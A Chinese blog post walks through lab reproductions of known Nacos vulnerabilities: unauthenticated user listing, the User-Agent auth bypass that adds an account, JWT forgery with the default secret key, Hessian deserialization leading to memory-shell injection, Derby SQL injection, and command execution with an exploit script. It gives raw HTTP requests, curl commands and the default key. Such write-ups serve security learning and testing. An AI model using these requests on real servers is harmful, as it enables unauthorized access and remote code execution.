Nacos历史漏洞复现（汇总）

于 2024-08-18 12:59:59 发布
阅读量301 收藏 9
点赞数 15
分类专栏： web渗透测试 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_55202378/article/details/141287014
版权

文章目录

一、权限绕过类

1.1 Nacos默认配置未授权访问漏洞——nacos.core.auth.enabled = false

漏洞原理：默认未开启配置nacos.core.auth.enabled

http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken

在这里插入图片描述
在这里插入图片描述

修复方案：配置文件修改为：nacos.core.auth.enabled=True。

1.2 Nacos 认证绕过漏洞（CVE-2021-29441）——User-Agent绕过鉴权

漏洞原理：配置文件中nacos.core.auth.enable.userAgentAuthWhite = true，就会获取请求头中UserAgent的值，然后判断是否是以字符串Nacos-Server为开头，若是则直接跳过鉴权。

影响版本：Nacos <= 2.0.0-ALPHA.1

使用Vulhub搭建好环境好，访问192.168.92.1/nacos/#/login，可以看到nacos的登录界面。
在这里插入图片描述
手动验证：User-Agent: Nacos-Server
1、检测漏洞是否存在，可以看到返回值为200,且内容中是否包含pageItems(nacos中已注册的用户)

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在这里插入图片描述

2、添加新用户

POST /nacos/v1/auth/users?username=vulhub&password=vulhub HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在这里插入图片描述

使用脚本进行验证：

# 创建新用户vulhub/vulhub
python3 CVE-2021-29441.py -t http://your-ip:8848

在这里插入图片描述

使用工具进行验证：
在这里插入图片描述

1.3 Nacos默认key导致权限绕过登陆（QVD-2023-6271）

漏洞原理：开启了nacos.core.auth.enabled 的情况下，如果未修改默认nacos.core.auth.default.token.secret.key，则可以生产accessToken值来绕过权限。相关配置文件如下：

### If turn on auth system:
nacos.core.auth.enabled=true

### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

影响版本：0.1.0 <= Nacos <= 2.2.0

在nacos中，token.secret.key值是固定死的，位置在conf下的application.properties中：

# nacos默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789

1.3.1 获取token

在https://jwt.io中输入密钥key，exp为时间戳。
在这里插入图片描述

在这里插入图片描述

注意：Secret base64 encoded。

# 请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.52.1:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU

username=crowsec&password=crowsec


# 返回包
HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}

在这里插入图片描述

1.3.2 利用获取token登录后台

重新登录，并拦截数据包
在这里插入图片描述
抓取返回包，并且使用下列返回包替换。

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}

在这里插入图片描述
注意：要Forward，不能直接关闭拦截器intercept is on。
在这里插入图片描述

工具验证：
在这里插入图片描述

1.4 Nacos身份认证serverIdentity绕过

漏洞原理：判断是否开启nacos.core.auth.enabled和是否开启userAgentAuthWhite，然后是对配置文件是否配置了identity.key&identity.value，相关配置文件如下：

### If turn on auth system:
nacos.core.auth.enabled=true
### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false
### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
### The default token (Base64 String) and len(key)>32:
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh

identity.key&identity.value的值其实是自定义的，这个安全隐患更像弱口令。
在这里插入图片描述

二、Nacos Jraft Hessian 反序列化漏洞（CNVD-2023-45001）

漏洞描述: nacos默认的7848端口是用来处理集群模式下raft协议的通信，该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严，导致RCE。

影响版本:

  • 1.4.0 <= Nacos < 1.4.6（使用cluster集群模式运行）
  • 2.0.0 <= Nacos < 2.2.3（任意模式运行）
docker pull nacos/nacos-server:2.0.0 # 拉取2.0.0版本的nacos
docker run --name nacos -d -p 8848:8848 -p 7848:7848 e MODE=standalone nacos/nacos-server

在这里插入图片描述

虽然，官方说standalone模式会默认开启7848端口，但是哟个docker启动时，需要手动映射。

访问http://192.168.92.1:8848，可以看到当前版本为2.0.0。
在这里插入图片描述
脚本验证是否存在Jraft Hessian 反序列化漏洞：
在这里插入图片描述

直接使用工具注入内存马：
在这里插入图片描述
冰蝎连接内存马
在这里插入图片描述

在这里插入图片描述

哥斯拉连接内存马
在这里插入图片描述
在这里插入图片描述

三、Nacos Derby SQL注入漏洞（CNVD-2020-67618）

漏洞原理：nacos带有一个嵌入式的小型数据库derby，而在版本<=1.4.0的默认配置部署nacos的情况下，它无需认证即可被访问，并执行任意sql查询，导致敏感信息泄露。
影响版本：Nacos <= 1.4.0

手工验证：

curl -XGET "http://192.168.92.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"

在这里插入图片描述

或者发送以下数据包：

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在这里插入图片描述

四、Nacos 未授权接口命令执行漏洞（CVE-2021-29442）

漏洞原理：这个漏洞其实可以说是CVE-2021-29442的更深层次利用，在上文中我们分析了，Derby未授权SQL注入利用的是/derby这个路由，但是限制了语句必须为select开头的即查询语句，而仅仅是查询语句就无法RCE。所以Derby RCE的这个漏洞是利用removal接口在完成这个利用链完成derby注入的深入利用（最开始出来的打法用到的是CALL sqlj.install_jar简单来说就是将远程服务器上的jar包导入数据库，就可以动态调用类中的static方法），也就是所谓组合拳RCE。

使用vulhub搭建环境：

# 会返回目标服务器的进程信息
python3 CVE-2021-29442.py -t http://your-ip:8848 -c "ps aux"

在这里插入图片描述

PT_silver
关注
  • 15
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Nacos2.2.2增加鉴权配置，防止NACOS身份登陆绕过漏洞
06-04
Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组...
nacos常用版本，早期版本一直到2.2.3
09-20
nacos-server-1.0.1 nacos-server-1.4.2 nacos-server-2.0.3 nacos-server-2.2.3
Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞的检测）.zip
03-05
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！...Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
Nacos漏洞综合利用GUI工具（完整源码+说明）（身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
03-27
【资源说明】 1、该资源内项目代码都是经过测试运行成功，功能正常的情况下才上传...Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
Nacos oracle专用
02-27
Nacos是一款由阿里巴巴开源的分布式服务治理和配置中心，它主要功能包括服务发现、配置管理、健康检查等。在特定场景下，Nacos可以与Oracle数据库进行集成，以满足更高级别的持久化需求。本篇文章将详细介绍如何在...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8391
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
DBO-CNN-BiLSTM-Attention蜣螂算法优化多变量时间序列预测，含优化前后对比（Matlab完整源码和数据）
08-17
1.Matlab实现DBO蜣螂算法优化CNN-BiLSTM-Attention多变量时间序列预测，含优化前后对比（Matlab完整源码和数据）优化学习率，神经元个数，注意力机制的键值, 正则化参数。 2.输出MAE 、 MAPE、MSE、RMSE、R2多指标评价，运行环境Matlab2023及以上。 3.代码特点：参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象：计算机，电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 5.作者介绍：机器学习之心，博客专家认证，机器学习领域创作者，2023博客之星TOP50，主做机器学习和深度学习时序、回归、分类、聚类和降维等程序设计和案例分析，文章底部有博主联系方式。从事Matlab、Python算法仿真工作8年，更多仿真源码、数据集定制私信.
财务现金记账表（公式计算日期查询）.xlsx
最新发布
08-17
工资表，财务报表，对账表，付款申请，财务报告，费用支出表 适用人群：学习不同技术领域的小白或进阶学习者；可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。
asp.net高校网上教材征订系统的设计与实现(源代码+论文)
08-17
该项目展示了一个基于ASP.NET的高校网上教材征订系统的设计与实现，涵盖源代码和论文部分。该系统旨在简化高校教材征订流程，提高教材管理效率。 源代码 部分包含以下功能模块： 用户管理： 提供用户注册、登录和角色管理功能。包括学生、教师和管理员等不同角色的权限设置，以确保系统的安全性和数据的隐私保护。 教材管理： 实现教材信息的添加、编辑和删除。系统支持教材的分类管理、信息搜索和浏览，确保教材数据的准确性和可用性。 征订管理： 学生可以在线浏览教材列表并提交征订申请，系统支持订单处理、支付集成及订单状态跟踪。管理员可以审核订单、生成发货单并处理退款请求。 报表生成： 提供统计报表生成功能，包括教材销售情况、订单统计、用户活动等，帮助管理人员做出数据驱动的决策。 用户界面： 使用ASP.NET MVC框架构建，前端界面简洁友好，支持多终端访问。系统设计注重用户体验，提供流畅的操作体验。 论文 部分详细描述了系统的设计与实现过程： 需求分析： 明确了系统的主要需求，包括用户管理、教材管理、征订管理和报表功能，确保系统符合用户需求。 系统架构设计： 介绍了系统的总体架构，包
财务系统（小企业会计记账软件）.xls
08-17
工资表，财务报表，对账表，付款申请，财务报告，费用支出表 适用人群：学习不同技术领域的小白或进阶学习者；可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。
农牧集团企业数字化建设总体规划SAP解决方案参考.pdf
08-17
农牧集团企业数字化建设总体规划SAP解决方案参考.pdf
java基于ssm+jsp web个人财务管理系统源码 带毕业论文
08-17
【资源说明】 1、开发环境：ssm框架；内含Mysql数据库；JSP技术 2、该资源包括项目的全部源码，下载可以直接使用！ 3、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，作为参考资料学习借鉴。 4、本资源作为“参考资料”如果需要实现其他功能，需要能看懂代码，并且热爱钻研，自行调试。
基于STM32+ESP8266实现MQTT客户端协议可远程控制开发板上LED灯源码+项目说明.zip
08-17
本实例代码已在STM32F407ZGTx上测试通过，如在其它型号上运行，可以按以下方法进行简单的移植。 1、用STM32CubeMX配置工程，使能与ESP8266相连接的串口的接收DMA功能，并且使能全局中断。 2、复制esp8266.c、esp8266.h、mqtt.c、mqtt.h到工程相应目录。
java基于ssm+vue在线测试管理系统源码 带毕业论文
08-17
【资源说明】 1、开发环境：ssm框架；内含Mysql数据库；VUE技术 2、该资源包括项目的全部源码，下载可以直接使用！ 3、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，作为参考资料学习借鉴。 4、本资源作为“参考资料”如果需要实现其他功能，需要能看懂代码，并且热爱钻研，自行调试。
开发资料技术资料mini2440按键驱动及详细解释非常好的技术资料.zip
08-17
开发资料技术资料mini2440按键驱动及详细解释非常好的技术资料.zip
【C#软件开发完整源代码：案例6】C# 3D双人贪吃蛇(Directx)
08-17
【C#软件开发完整源代码：案例6】C# 3D双人贪吃蛇(Directx)： 1.源代码包：完整代码code,代码完全可用 2.案例检测：测试成功，完全可用，打开即可运行库 3.运行界面：部分截图如附件图片 4.开发编译工具：Microsoft Visual Studio 2019以后版本 5.运行环境：C#.NET Framework 3.5 简单功能介绍： C#完整代码案例，使用C#开发实现游戏功能，使用3D框架实现双人贪吃蛇游戏功能，使用Directx技术，供大家学习和探讨，一个很好的例子
精华-集团精益智能工厂数字化建设三年规划方案.docx
08-17
精华-集团精益智能工厂数字化建设三年规划方案.docx
821 V1.0.docx
08-17
821 V1.0.docx
企业车联网平台建设规划设计思路.pdf
08-17
企业车联网平台建设规划设计思路.pdf
如何修复nacos的漏洞
05-31
如果你发现了Nacos的漏洞，可以按照以下步骤进行修复： 1. 首先，你需要确认你使用的是最新版本的Nacos。在Nacos官方网站上可以查看到最新版本。 2. 如果你使用的是旧版本的Nacos，可以通过升级到最新版本来修复已知的漏洞。 3. 如果你发现了新的漏洞，可以向Nacos官方报告漏洞，他们会尽快修复漏洞并发布新的版本。你也可以自己修复漏洞并提交代码到Nacos的GitHub仓库上。 4. 在升级到新版本之前，你可以采取一些措施来减轻漏洞的影响。例如，你可以限制Nacos的访问权限、关闭不必要的服务或端口等。 总之，及时升级到最新版本、报告漏洞并限制访问权限是保护Nacos安全的有效方法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值